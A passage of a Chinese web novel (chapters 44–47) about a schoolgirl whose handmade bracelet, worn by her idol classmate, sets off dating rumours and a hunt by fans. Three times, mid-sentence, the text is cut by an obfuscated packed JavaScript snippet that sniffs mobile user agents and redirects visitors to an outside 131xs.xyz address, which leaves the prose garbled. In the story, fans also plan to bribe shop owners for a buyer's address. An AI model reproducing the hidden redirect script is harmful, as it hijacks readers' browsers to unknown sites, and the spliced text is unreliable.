话没说完,和潘青昀凑过来的额头撞了个正着。 “咚”的一声。 两人同时摸着有些隐隐作痛的额头,怔愣地看着对方。 辛蕴回过神来,一把将手里的书包塞进了抽屉肚子里。气氛有些尴尬。她随口问道:“你每天都来得这么早吗?” 潘青昀放下了揉着额头的手,说:“嗯,家里待着憋闷,还不如早点到学校来。” 辛蕴点点头,目光在两人座位下的地砖上转了一圈,随口应道:“也是。” 她记得之前班里资料费被偷事件中,潘青昀也在那几个早到的同学中间。这么说来,今天他来得早也不算是什么稀奇的事情。 “你也觉得家里待着憋闷?”潘青昀问。 “嗯?”辛蕴有些疑惑地转头看他,反应过来后,她弯弯嘴角,点点头,说:“嗯。” 辛东福在家的时候,她确实觉得家里很憋闷。 辛蕴对辛东福的感情很复杂——她既希望他能多在家里待着,可一旦他回来,她又觉得他很碍眼。 潘青昀的目光落在辛蕴瓷白的侧脸上,问:“昨天晚自习你请假了,听老史说……你身体不舒服?” 辛蕴的目光在周围转了一圈,依旧一无所获,她有些焦躁,但面对潘青昀又不好表现出来,只能强压着内心的情绪,点点头:“嗯。” 潘青昀低头看着她,问:“现在好点了吗?” 辛蕴礼貌微笑,说:“好多了,谢谢你。”没有在座位周围找到那封信,她又把目光放在了前后排的座位底下。 “昨晚邬蒙在我们市的音乐厅举办了生日会,你知道这件事吗?”潘青昀突然开口问道。 辛蕴的动作僵了一瞬,她转头看向他,嘴角牵起一个淡淡的笑,说:“怎么了?” 潘青昀挑眉一笑,说:“没什么,就是我有个表妹没抢到票,从黄牛那里买了一张,花了六千块。”他“啧”了一声,叹一口气,感慨道:“邬蒙现在是真火啊。” 辛蕴不懂对方怎么会突然提起邬蒙,她有些心神不宁,勉强“嗯”了一声,没有接话。 潘青昀的目光在她脸上转了一圈,又说:“我要是没记错的话,你以前和邬蒙是同桌吧,你们俩……关系好吗?” 一瞬间,辛蕴脑海中警铃大响,她坐直身体,从书包里拿出一本书,摆在课桌上,声音已经冷了下去,问:“你问这个做什么?” 潘青昀的眼神定在她微微抿起的嘴角上,然后弯弯眉眼,露出一个灿烂的笑容,语气自然地说:“这不是想问你能不能帮我那个表妹要个签名照嘛。” 辛蕴攥紧书角的手松了松,她转头看向潘青昀,语气平淡:“你也是邬蒙的同学,下次等他回来,你自己问他要也是一样。” “嗯……也是。”潘青昀勾了勾唇角,点点头,又翻了一页书,没再说话。 直到早读课的铃声敲响,班里的同学差不多已经都到了,辛蕴还是没能找到那封信。 她握着笔,无意识地点着草稿纸,墨点在雪白的草稿纸上留下一团纷乱的笔迹。 不在家里,不在书包里,也不在学校里,难道那封信还能长翅膀飞了? 还是说……那天她不小心把信落在了出租车上或者生日会场馆里? 要是落在这两个地方也算是幸运了。 出租车司机不会管一封来路不明的信。 场馆里邬蒙的粉丝那么多,就更没人在意那封信了。 辛蕴怀着忐忑的心情煎熬了一周的时光。 一直无事发生,她原本悬着的一颗心也算是渐渐落地了。 直到一天早上,她睁开眼睛,照例打开微博习惯性地去搜邬蒙的名字。 昏昏沉沉中,她看到邬蒙的名字下赫然挂着一个词条—— 【邬蒙恋情】。 辛蕴的瞳孔瞬间放大,像是被人闷头砸了一棍子似的,整个人顿时清醒了过来。 她飞快地从搜索框里退出去,直接点开微博热搜榜。 果然,她看见【邬蒙恋情】这个词条已经上了热搜,或许是因为时间还早,词条只处在热搜榜的中段位置。 辛蕴的手指有些颤抖地点进去。 热门微博是几个营销号凌晨发的—— 【昨晚邬蒙机场路透图,站姐拍到他手腕上戴着一条手链,底下评论区里有粉丝说邬蒙谈恋爱了,大家看看是真是假?】 【昨晚机场路透图里,邬蒙的手腕上多了一条手链,看起来不像是品牌赞助的。不懂就问,这种大明星会戴这种手工编织的手链吗?】 【昨晚的机场路透图里,粉丝们发现“放学后作战”乐队的主唱邬蒙手上戴着一条造型新奇的手链,这也引发了关于他恋情的猜想。】 几个营销号的配图是同一组邬蒙的机场路透图。 辛蕴点进去一张图片,一眼就看到邬蒙手腕上的那条手链。 正是她送给他的那条。 “轰”的一声,辛蕴的脑子炸开了。 邬蒙他怎么会……在公开场合戴这条手链? 他疯了吗? 辛蕴的手抖得更厉害了,可她的目光又不受控制地把那张照片看了又看。 紫色和蓝色交织的透明丝线交织在一起,缠住了邬蒙那骨节分明的手腕,他的手很好看,手指修长,手背竖着几道根根分明的青筋,一直交缠延伸到小臂,手腕上突起的那个骨节让他的手臂看起来有种生猛的力量感。 而中间那条手链生生截断了这种有些嶙峋崎岖的力量感,让那只手的线条看起来多了几分柔和的味道。 惊慌之余,辛蕴心里又涌上一种说不清的情绪。 她点开评论区,底下全都是粉丝的控评。 【首先,谢谢你承认我们阿蒙是“大明星”。其次,已经艾特工作室了,营销号造谣要负法律责任哦。】 【你哪只狗眼看到粉丝说他谈恋爱了?艺人连戴首饰的自由都没有了?】 【一个普普通通的饰品罢了,我们阿蒙实火,戴根手链都能上热搜了。】 【造谣人家在校高中生,你居心何在?】 再一刷热搜广场,路人发言没几个,全都是粉丝的澄清和安利,看起来粉丝已经控制住局势了。 可辛蕴在粉圈泡了这么多天,当然知道这只是表象,就算是火已经烧到屁股了,粉丝们对外的口径肯定是一致的。 辛蕴退出热搜广场,点开了她身处的那个粉丝群。 果然,粉丝群里的消息跳得飞快,早就吵翻了天。 【我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832065|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠!那根手链一看就很不对劲,根本不是直男审美好吗?】 【怎么不对劲了?就是很普通的一个手链好吗?你能不能别乱带节奏?!】 【我也觉得不对劲,阿蒙看起来不像是会自己买这种手链的人……】 【看起来像是别人编好了送给他的。】 【……你们能不能不要听风就是雨?就是因为有些粉丝在站姐图下面乱说话被营销号截图发出来才发酵上了热搜!真是一粉抵十黑!】 【他生日才刚过,不会是哪个小女孩送给他的生日礼物吧……】 这话一出,粉丝群里陷入了一阵寂静,隔了几秒钟才有人继续发消息。 【再乱带节奏我就喊管理员踢人了。】 屏幕外,辛蕴看得冷汗直流。 这些粉丝就和陷入了爱恋的小女孩一样,一个个都是福尔摩斯的化身。 很快,又有人找出了一张之前邬蒙坐在机场候机室里笑着低头给人发消息的路透图。 【你们看!我当时就说他脸上的这个笑很不对劲,一看就像是谈恋爱了,我在群里说,还有人跳出来骂我,还把我小号踢出去了!】 【笑得这么甜,一看就是给女朋友发消息!】 照片应该是不久之前拍的,邬蒙身上穿着一件黑色的大衣,里面是一件灰色的高领毛衣,他坐在机场的椅子上,领子拉得高高的,遮住了小半张脸,但从他微微弯起来的眉眼依然能看出来他当时的心情相当不错。 这张路透一出来,很多粉丝都觉得这张照片里的邬蒙很可爱,甚至还有很多人拿这张照片当作头像。 可是现在再去看,照片里邬蒙脸上的那个笑却成了一个可疑的痛点。 辛蕴退出群聊,点开微信,打开了和邬蒙的聊天框。 那个时候邬蒙竟然真的在给她发消息。 辛蕴记得很清楚,那是邬蒙转机去中部某省会城市录制一档老牌综艺节目的间隙,她知道他那天坐的是一个红眼航班,所以凌晨撑着不睡,想等他平安落地了再睡。 可邬蒙一直没给她发消息。 辛蕴等了半天,眼皮已经在打架,最后实在没憋住,给他发了一条消息,问—— 【下飞机了吗?】 邬蒙那边很快回道—— 【还没上飞机呢,你怎么还不睡?】 看到他那个干巴巴的消息,辛蕴有些无语。 现在是凌晨三点多,她明天还要早起上课,现在不睡还能因为什么? 真是抛媚眼给瞎子看。 她憋着一股气,打下三个字—— 【现在睡。】 然后直接按灭了手机。 辛蕴当时以为邬蒙给她发那条消息的时候一定是有点不耐烦的,就算不是不耐烦,他的心情肯定也不是很愉悦的。她甚至已经在脑海中构思出了一幅画面—— 邬蒙忙得头晕脑胀,在舟车劳顿中看到手机屏幕上跳出来她的消息,他皱起眉,有些不耐烦,但出于礼貌又不好不回复,只能硬邦邦地回了一句。 辛蕴万万没想到邬蒙回她消息的时候竟然是那样的表情。 他脸上的笑容那么温柔,甚至有些……甜蜜。 辛蕴再次点开微博群的那张照片,看着照片上邬蒙脸上的那个笑容。 一时间她的心情有些复杂。 她明明应该感到焦躁、感到恐惧、感到不安,可现在她的心情却因为邬蒙眼睛里透出来的笑意变得平和。 那种感觉就好像身后炮火纷飞,她却低头认真品尝着一颗糖果的甜美味道。 群里的消息还在不停地往上跳。 有人发了一张截图过来,上面是几个淘宝店家的名字。 【我去淘宝上识图搜了这个手链,确实是手工编织的,颜色很特别,有几家店卖这个手链的材料包,我挨个去问了店家,现在等他们的回复吧。】 【每天订单那么多,你能问出来什么?】 【我也不确定能不能问出来什么,我问了一下每个店家这条手链的材料包是不是他们店卖出去的,还问了最近一个月里有没有发往南城市的订单。反正到时候问到了可疑的订单再根据年龄性别地址啥的一个个排除呗。肯定能查得到的,除非是在路边的小店里买的。反正我有时间,查查就查查呗。】 【这些店家愿意配合你?】 【哈哈我说要给店家发红包,店家应该会配合的吧,反正对于他们来说就是顺手的事情。等店家找到了可疑订单,我再加店家微信发红包问买家的具体信息。】 【这招可以,反正你到时候撒撒娇,死缠烂打,店家肯定会答应的。】 看着屏幕上跳出来的这些信息,辛蕴的心顿时提到了嗓子眼。 她急忙点开淘宝的订单记录。 翻到了之前购买手链材料包的那个订单。 链接里,那个店家的名字赫然就在群里的那张截图里。 一瞬间,一股血直冲辛蕴的脑门。 45. 第 45 章 一整个上午,辛蕴反复点开淘宝的购买界面。 她想给那个店家发条信息,请求对方千万不要把自己的信息泄露出去。可又害怕万一店家是个贪小便宜的人,她这么做就是适得其反。 毕竟原本对方还要花一番功夫才能筛选到她这个订单,她这时候心虚主动送上门,那就是不打自招,还节省了对方的功夫。 万一那个店家再坏一点,把两人之间的聊天记录发出去,到时候辛蕴更是有嘴都说不清了。 可如果现在不做些什么,难道就这么坐以待毙等着那些粉丝顺藤摸瓜找过来吗? 辛蕴左右为难,急得如同热锅上的蚂蚁。 偏偏邬蒙的电话还打不通。 她早上给他发的消息一直到中午也没回。 热搜上【邬蒙恋情】的这个词条挂了一会儿,很快就慢慢掉下去了。邬蒙的大名词条下也都干干净净,除了刚开始的那几个营销号,再没有别的营销号发这件事了。 目前来看,这次的“机场手链事件”并没有发酵起来,但辛蕴知道——眼前的风平浪静完全是因为这一切暂时都只是粉丝们的猜想。 一旦邬蒙的那些死忠粉或者是黑粉真的顺藤摸瓜扒到了什么,那局势肯定就不会是现在这样平静。 粉丝群里的消息就一直没停过。 辛蕴心惊胆颤地点进去几回,大家讨论的主题还是围绕着这次手链事件。 【烦死了,到底有没有人出来回应一下这件事啊?!!!】 【回应什么?都是捕风捉影罢了,你们的手别伸得太长,什么都没有,让阿蒙回应什么?】 【怎么不能回应了?他就是吃这碗饭的,粉丝有质疑,他就应该出来回应。】 【今天戴个手链要回应,明天穿个鞋要回应,后天吃个饭也要回应,那阿蒙以后什么事情都不用干了,天天回应你们这些乱七八糟的猜想就行了!】 【群里面某些女友粉的占有欲不要太强!他是你们的偶像,又不是你们的男朋友!搞清楚自己的位置!】 …… 辛蕴的目光落在“女友粉”三个字上,心中蓦然产生了一种奇怪的感觉—— 如果说群里的这些粉丝像是义愤填膺的“正牌女友”,那她是不是就是那个人人喊打的“小三”,而邬蒙则是那个背着女友偷.情的“负心汉”? 这种想法让辛蕴觉得荒谬。 她甚至生出了一种负罪感。 生平第一次,辛蕴对一群隔着屏幕的陌生人产生了一种强烈的愧疚感。 她匆匆按灭了手机。 抬头去看,教室里的一切还是照旧,课间依旧吵闹,同学们嬉笑打闹,桌椅碰撞着发出一阵尖锐的噪声。 一场更大的危机似乎就在眼前,但辛蕴这个当事人却仿佛被隔绝在了一个真空的玻璃罩里,她只能安静地等待着命运的审判。 辛蕴就这么恍恍惚惚地过了一天,一直到晚上八点,手机屏幕里突然跳出来邬蒙的信息—— 【现在能打电话吗?】 辛蕴没有任何犹豫,直接站了起来,借口要去上厕所,把手机揣进口袋里,匆匆走出教室。 现在是上课时间,连接两幢教学楼的那条连廊上没有一个人影,冷风从四面八方吹过来,刮得辛蕴的脸有些刺疼。 她找了一个被树影覆盖的角落,靠在栏杆上,深吸一口气,拨通了邬蒙的电话。 电话很快被接通。 “南城下雪了吗?”寂静的冬夜里,邬蒙的声音从电话那边传了过来,带着沙哑的磁性,有些疲惫的温柔。 辛蕴愣了一下,抬头去看连廊外的夜空。 冬天的夜空像是蒙了一层灰蒙蒙的纱,没有夏夜的那种澄澈清透。 “没有。”她的声音闷闷的。 “帝都这边下了好大的雪。”邬蒙说。 今天在录音棚录了一天的歌,他的嗓子已经变得有些沙哑。 辛蕴弯弯眉眼“是吗?”她吸了吸鼻子,说:“你看到今天的热搜了吗?” “就知道你找我是为了这件事。”邬蒙的声音里带出一丝笑意,他轻轻叹了一口气,说:“辛蕴同学,你未免也太关注我的一举一动了,你不会时时刻刻都抱着手机刷我的消息吧?”他的尾音上扬,带着一丝得意张扬。 辛蕴的脸因为邬蒙的这句调侃变得有些红,她嘴硬辩解道:“谁说的?我……我就是随手刷到的,你不要太自恋。” 风从空旷的连廊那边吹过来,吹乱了她脸颊边的发丝。 “你害怕了吗?”邬蒙的语气又变得正经起来。 因为他的这句话,辛蕴的心里涌上一股委屈的情绪。“不怕。”她说。 电话那边突然变得安静,辛蕴听到了邬蒙的呼吸声。 过了几秒钟,听筒里传来了他淡定的声音:“已经没事了,你放心吧。” 邬蒙忙了一天,刚从棚里出来,还没来得及喝上一口水,就听经纪人桃姐说起这件事,她警告了他几句,然后就匆匆结束了这个话题,转头聊起别的工作安排。 邬蒙猜想桃姐应该也在背后做了一些公关工作,但这件事的严重程度还远远没有到需要拿到牌面上去讲的地步。毕竟一切都只是捕风捉影罢了。 邬蒙说得轻描淡写,辛蕴却做不到像他一样淡定。 “可是你的粉丝群里有人说要通过淘宝订单来扒我的信息,要是被她们发现那条手链是你班里的女同学送给你的,那我们俩就……” 邬蒙的语气又微微上扬起来,拖长了声音,问:“那就怎么样?” 辛蕴闭上嘴,听出了他话语里的调笑意味,她有些羞恼地喊了一声:“邬蒙!”察觉到自己的声音大了一点,她的语气立马又软了下来,说:“你能不能好好说话?” “好好好~”邬蒙的笑声从电话那边传过来,他笑了一会儿,总算肯好好安慰她:“这个你就放心吧,一般淘宝店家都不会泄露客户的私人信息的,就算他泄露了也没关系,到时候我就说这条手链是我的小侄女送给我的生日礼物。” 辛蕴仔细琢磨邬蒙的这番话。 也是,不过一条手链罢了,就算粉丝查出了什么,邬蒙也可以咬死不认,更何况查不查得到也不一定呢。退一万步说,就算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832066|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粉丝真的查出了手链是邬蒙的同班女生送他的,邬蒙背后的团队也不是吃素的。总之,在没有铁证的情况下,这件事应该掀不起什么大动静。 辛蕴琢磨了一番,心稍稍定了下来,突然反应过来邬蒙这话明显是在占她便宜。“谁是你小侄女,不要脸。”她说。 “不想当我的小侄女,那你想当我的什么?”邬蒙沙哑的声线听起来有些暧昧。 辛蕴的脸又开始发烫,她岔开话题,用半信半疑的语气再次问了一遍:“真的没事吗?” 邬蒙倒是很有耐心:“嗯,我向你保证,绝对没有事的。” 辛蕴的一颗心因为他的这句话变得熨贴又平和,她弯起唇角,想起今天一整天的煎熬,又忍不住低声吐槽了一句:“都怪你,你胆子怎么这么大?怎么直接把那条手链戴出来了?” 说实话邬蒙倒是真的没有想到这一点,这件事确实是他的大意疏忽。 当时他急着赶飞机,临出门前突然想起放在盒子里的那条手链,于是就直接拿起来戴在了手腕上。 邬蒙自己也不知道当时他是出于什么心理,明明知道机场里会有粉丝拍,他还是明目张胆地把那条手链戴了出来。 大概他也是真的没有想到那些粉丝竟然会敏锐到如此地步。 女人的第六感果然是一个很恐怖的东西。 “对不起,是我没考虑周全。”刚才面对经纪人桃姐的指责,邬蒙梗着脖子不吭声,此刻在辛蕴这里倒是认错态度良好,道歉的语气认真又诚恳。 邬蒙不用想也知道,今天辛蕴肯定被吓坏了,刚才的那句“不怕”不过是她在嘴硬罢了。 对于他给辛蕴带来的这些困扰,邬蒙是由衷地觉得很抱歉。只要一想到她可能在紧张不安的情绪里煎熬了一天,邬蒙的心就因为歉疚和心疼揪成了一团。 邬蒙这么煞有其事地道歉,反而让辛蕴有些不好意思起来。“没事……我……”她将脸颊上有些凌乱的碎发拢到耳后,沉默了片刻,轻声说道:“我很开心。” 她很开心能在这样一个安静的冬夜里听到他的声音。 她很开心他刚才温柔地安慰着她的情绪。 她很开心他喜欢她做的手链,喜欢到即使冒着风险也要戴在手腕上。 不管怎么样,此刻的她,觉得很开心。 辛蕴这话说得有些没有头绪,但邬蒙明显是听懂了。 “你开心就好。”电话那边,他的声音明显带着愉悦。 两人在电话两端无声地笑。 直到辛蕴以为邬蒙不会再说些什么了,她正要挂断电话:“那我就先回去上课……” “辛蕴,你觉得我们现在是什么关系?”邬蒙打断了她的话。 辛蕴握住手机的那只手一瞬间变得有些僵硬,她定在那里,疑心自己是不是听错了。 耳边传来呼啸的风声,像是从连廊那边吹过来的,又像是从电话那边传来的。 “在电话里说这个好像有些草率了。”手机听筒里,邬蒙的声音听起来有些歉意。 “等我下次回南城,可以给我一个答案吗?”他说。 46. 第 46 章 已经是一月上旬,再过段时间就是期末。 晚自习刚结束,潘青昀背着书包跨出学校大门,他没回家,而是转到了一中旁边的一条街道上。 沿街灯火通明,现在正是学生们放晚自习的时间,路上摆了很多小吃摊。 他要了一根炸淀粉肠,嘴里咬着肠,慢悠悠地转进了旁边一家不甚起眼的小商场里。 商场二楼有一家台球厅。 潘青昀轻车熟路地走进去,把书包扔在旁边的沙发上。 台球厅的前台小妹见他进来,满脸笑容地迎了上来,殷勤地过来帮他开台摆球。 潘青昀每次过来都是一个人闷头打球,既不喊朋友也不点陪打。前台小妹早已习惯,她麻利地摆好球再冲他甜甜一笑,扭着屁股转身离开。 潘青昀瞥她一眼,扯扯嘴角,把肠咬在嘴里,拿起球杆,微微俯身,手中球杆干净利落地往前一送,“砰”的一声,十几个圆滚滚的球瞬间在台桌上炸开。 有几个球直接滚进了袋中。 潘青昀把嘴里的淀粉肠咽下去,用投飞镖的姿势把竹签扔进旁边的垃圾桶里。 他也不看进袋的那几个球是花色还是全色,眼睛只盯着台面上剩下的球,绕着球桌,寻找着合适的角度。 还没打上几杆,台球厅的门被推开了,从外面走进来一个女生。 一中斜对面有一个中职院校,台球厅里乌烟瘴气,挤着不少染着黄毛的混混和穿着超短裙的小妹妹。 女生一进来,瞬间吸引了不少戏谑轻佻的目光。 她上半身穿着一中的校服,下半身却没穿校服裤子,只穿着一件短短的小皮裙,露出了漂亮雪白的大腿,底下是一双漂亮精致的长统靴。一中的冬季校服不算好看,被她这么一穿倒像是什么贵价的牌子货。 女生的目光在台球厅里转了一圈,最后落在了潘青昀身上,直接抬脚朝这边走来。 见潘青昀的眼角余光也没往这边扫一下,女生双手撑着台球桌,直接一屁股坐了上去。 潘青昀总算肯瞥她一眼,他俯身瞄准一颗球,手里的球杆用力送出。 “砰”的一声,一颗球应声落袋。 “别坐上面,脏。”他淡声道。 宋朵朵今天本来气势汹汹地过来想找潘青昀的麻烦,但此刻一听到这句轻飘飘的话,她浑身的气焰顿时泄了个干净。 “你为什么不回我信息?”她从台球桌上跳了下来,瞪大了眼睛质问潘青昀。 潘青昀没说话,绕到了台桌的另一边,继续打球。 宋朵朵急步跟了上去,一把拽住他的衣袖,说:“你哑巴吗?为什么不说话?你现在在学校里躲着我,晚上也不回我消息,你到底是怎么想的?!” 潘青昀站直身体,低头盯着她的眼睛,皱眉问:“宋朵朵,我觉得我之前已经把话跟你说明白了,你现在到底还想怎么样?” 潘青昀的声音并不大,语气也不凶,但宋朵朵还是从他的眼睛里看到了不耐烦和即将爆发的怒气。 两人做了一年的同桌,她很了解眼前的这个人—— 潘青昀这个人长得帅、家里又有钱,所以脾气也坏。虽然平时在班里他对谁都是一副笑嘻嘻的模样,但骨子里其实很自我。他要是愿意哄你,就能把你哄得不知道东南西北,但他要是不愿意哄,那就是说翻脸就翻脸,才不管什么难堪不难堪、情份不情份。 周围的那些视线如芒在背,宋朵朵抿了抿嘴巴,到底还是把到嘴边的那句话咽了回去,换了一个比较柔和的表达方式。 “你不理我,我还不能来找你了吗?”她的声音听起来很委屈。 潘青昀收回眼神,转身继续打球。“我现在心情不太好,你最好别来烦我。” 见他软硬不吃,宋朵朵气得跺脚,但又拿潘青昀没办法。 或许是因为周围的人都看着,宋朵朵觉得此刻摔门出去实在有些丢面子,她梗着脖子抬脚朝旁边的沙发走过去,一屁股坐在了沙发上。 潘青昀的书包就在旁边,她瞥了一眼,又看了一眼俯身趴在台球桌上打球的潘青昀,见他并没有注意到这边,她眼珠子一转,拿起那个书包,拉开拉链去翻里面的东西。 潘青昀的书包里装着一件衣服和几本书。 她先是搜了衣服的两个口袋,没发现什么特别的东西,又一本一本地去翻那些书,突然摸到其中一本书里好像夹着一个东西, 宋朵朵抽出那本书,往下一抖,书页里掉出来一个信封,落在她的腿上。 粉紫色的信封,上面还印着精致的花纹图案,一看就很可疑。 宋朵朵瞬间瞪大眼睛。 好啊,果然被她猜中了! 宋朵朵和潘青昀暧昧了一年,前段时候他突然冷淡下来,还跟她说以后别再老过来找他。 这简直就是晴天霹雳,宋朵朵完全不能接受。这段时间她一直缠着潘青昀想要个说法,但是潘青昀的态度却依旧冷淡。 宋朵朵有过很多猜想,她想或许是因为潘青昀交了新女朋友,所以才会对她这么绝情。 可她观察了潘青昀很久,也没找到什么蛛丝马迹。 没想到今天真的被她找到了证据! 猜想被印证,宋朵朵气得浑身颤抖,她抬头去看前面—— 潘青昀正俯身打球,没看到这边。 她勉强压抑住内心的怒火,直接打开了那个信封。 入眼的是一行娟秀的字迹——【致全世界最帅气的吉他手阿蒙】。 宋朵朵愣了一下。 阿蒙? 谁? 她带着疑惑一目十行地扫完那封信,再一看落款,一双眼睛瞪得更大了。 这是…… 宋朵朵的心跳得飞快,她做贼心虚地扫了一眼周围,见没有人注意到这边,她赶紧把信纸塞回到信封里,刚塞进去一半,手里的信突然被人劈手抢了过去。 潘青昀脸色阴沉地站在她面前,压低了声音问:“你在干什么?”他声音里的怒火已经喷薄欲出。 宋朵朵现在也没心思问潘青昀这封信怎么会在他书包里了,她站了起来,装模作样地梗着脖子问:“这……这是什么?!是不是有人写给你的情书?!” 潘青昀扫她一眼。 见宋朵朵一张脸涨得通红,看起来十分生气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832067|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的模样,他的脸色稍稍和缓了些,把那封信塞进书包里,拉上拉链,抬脚朝球桌的方向走。 “你走吧,别来烦我。” 宋朵朵的心跳得飞快,她盯着潘青昀的背影,又转头看了一眼他放在沙发上的书包,攥紧了手心。 已经是半夜十二点,街道上早已经没有什么人,但周围店铺里的灯还亮着。 宋朵朵走出台球厅,站在路灯下,拿出手机,给徐慧敏发了条消息。 徐慧敏刚好在附近吃宵夜,看到宋朵朵的消息就直接过来了。 两人在附近找了家便利店,买了两杯热饮,挑了个角落的位置坐了下来。 要说起来两人能成为朋友也是凑巧,当初宋朵朵被史振邦从前排调到了后排,她很是郁闷,对辛蕴这个抢了她位置的人也很是看不惯。恰好坐在后排的徐慧敏也对辛蕴恨之入骨,或许是因为两人都有共同讨厌的人,一来二去的她们俩竟然成为了好朋友。 “你说你在潘青昀书包里看到了辛蕴写给邬蒙的情书?”徐慧敏的眼睛瞪得比铜铃还大。 宋朵朵点点头。 徐慧敏就这么看着她,一直瞪了足足十几秒,这才“扑哧”一声笑出来:“真的假的啊?”她不屑地翻了白眼,说:“就辛蕴那个书呆子,她还会给别人写情书?” 宋朵朵翘起二郎腿,从校服口袋里拿出一个信封,一下子拍在桌面上。“喏,你自己看。”她拿起面前的那杯热奶茶,说:“我趁潘青昀不注意拿出来的。” 徐慧敏的眼珠子都快瞪出来了,她拿起那封信,迫不及待地打开去看。 看到落款的名字,她眼神里射出兴奋的光。 “还真是啊。”她抬头看向宋朵朵。 宋朵朵咽下嘴里的奶茶,扬扬眉毛,语气有些得意,说:“我还能骗你吗?” 徐慧敏继续低头去看手里的那份信,一边看一边连连啧声:“哟,还真看不出来啊,她平时装得比谁都清高,私底下竟然也是邬蒙的舔狗啊。” 宋朵朵凑过来,用涂着亮晶晶指甲油的手指指着信上的一处,挤眉弄眼地笑:“你看这句,‘那天下午,我站在路边看着你的背影,本来以为是虎口脱险,但其实早已经在劫难逃’,啧啧,写得真肉麻啊,难怪语文老师经常夸她作文写得好呢哈哈哈哈哈哈……” 两人挤在一起笑作了一团。 她们把那封信翻来覆去看了好几遍,等到笑够了,徐慧敏这才想起来问一件事:“这信怎么会在潘青昀手上?” 宋朵朵收了脸上的笑容,恨恨地咬住吸管,闷声说:“谁知道。” 徐慧敏也没纠结这一点,她盯着桌面上那粉紫色的信封,像是想起了什么,又抬眼盯着对面的宋朵朵,说:“你记不记得有天晚上我们趴在栏杆上看到辛蕴一脸荡漾地从操场那边跑出来?” 宋朵朵眯着眼睛回想了一会儿,一瞬间,她瞪大了眼睛,说:“对了!当时你说好像还看到了邬蒙,我还说不可能是他……” 两人的视线在空中沉默交汇。 片刻后。 徐慧敏压低了声音,说:“你说……他们俩是不是在偷偷谈恋爱?” 47. 第 47 章 不知不觉一个学期就要结束了。 辛蕴这几天像是泡在了蜜糖罐子里,铺天盖地的甜蜜淹没了她。 上次电话里邬蒙的那番话让辛蕴如坠梦中,她简直不敢相信自己以往做的那些美梦竟然真的就要变成现实了。 可甜蜜的同时,辛蕴的心里也产生了一种不真实感,伴随着这种不真实感而来的是一种隐隐约约的不安感和空前强烈的负罪感。 这几天每当她习惯性地打开微博去搜邬蒙这个名字的时候,辛蕴总是会强迫自己立刻放下手机。 网络上光鲜耀眼的大明星邬蒙和评论区里那些狂热的粉丝发言让她有些心惊胆战。 有时候辛蕴会忍不住去想——她和大明星邬蒙之间真的会有一段不一样的羁绊吗?如果……如果他们俩真的在一起了,那最后的结果又会是什么样子的呢? 辛蕴十分清楚自己即将面对什么。 平常两个高中生之间早恋都会面临来自各方面的压力,就更别提她和邬蒙了。 但如果邬蒙想要跟她一起冒这场险,那辛蕴没有任何理由犹豫和退缩。 其实比起犹豫和退缩,这几天辛蕴想的更多的是——等邬蒙回来的时候,她应该怎么回答他呢? 她的答案是肯定的。 可到时候她要怎么跟他说呢? 邬蒙到时候又会是什么反应呢? 他会高兴地抱住她吗?会牵起她的手深情款款地看着她的眼睛吗?还是会……轻轻地在她额头上落下一个吻? 每次一想到这个问题,辛蕴就恨不得把自己的脸埋进枕头里,再往身上盖上十几层厚厚的被子,躲在里面狠狠地打滚尖叫。 就这么甜蜜地煎熬了几天,这天早读课下课,辛蕴正坐在位置上整理错题集。 教室外面突然有人喊了一声—— “辛蕴,班主任喊你去办公室一趟。” 辛蕴愣了一下。 史振邦找她?有什么事情? “来了。”她应了一声,站了起来,抬脚往教室外面走。 昨天刚下过一场雨,走廊里的地砖还是湿的,因为温度低又结了一层冰,辛蕴小心翼翼地穿过走廊来到办公室,推开门,喊了一声:“史老师。” 史振邦正低头看着手机,他的脸色不太好看,抬头见辛蕴走进来,他放下手机,勉强冲她弯弯嘴角,指着旁边的椅子,说:“你坐下来,我有事和你说。” 辛蕴走过来,坐在了椅子上。 史振邦轻轻咳嗽一声,清清嗓子,拿起旁边的玻璃茶杯,拧开盖子,说:“今天找你过来,主要是想和你说一下下周一旗下演讲的事情。” 南城一中每个周一都要举行一次旗下演讲,有的时候是校长发言,有的时候是年级主任发言,更多的时候是一些优秀学生代表上去发言。 这周一上去发表旗下讲话的是高二二班的学生代表,按照顺序,下周一确实应该轮到他们三班了。 这几天辛蕴的脑子里一直想着邬蒙,一时之间倒是忘记了这茬。她盯着史振邦的眼睛,等着他的后话。 “我想了一下,决定让你代表我们三班去发表旗下讲话。”史振邦喝了一口泡得浓浓的茶水,继续道:“你这周末回去好好写写发言稿,回头把稿子发给我看看。” 这也在辛蕴的意料之中,她点点头,说:“好的。” 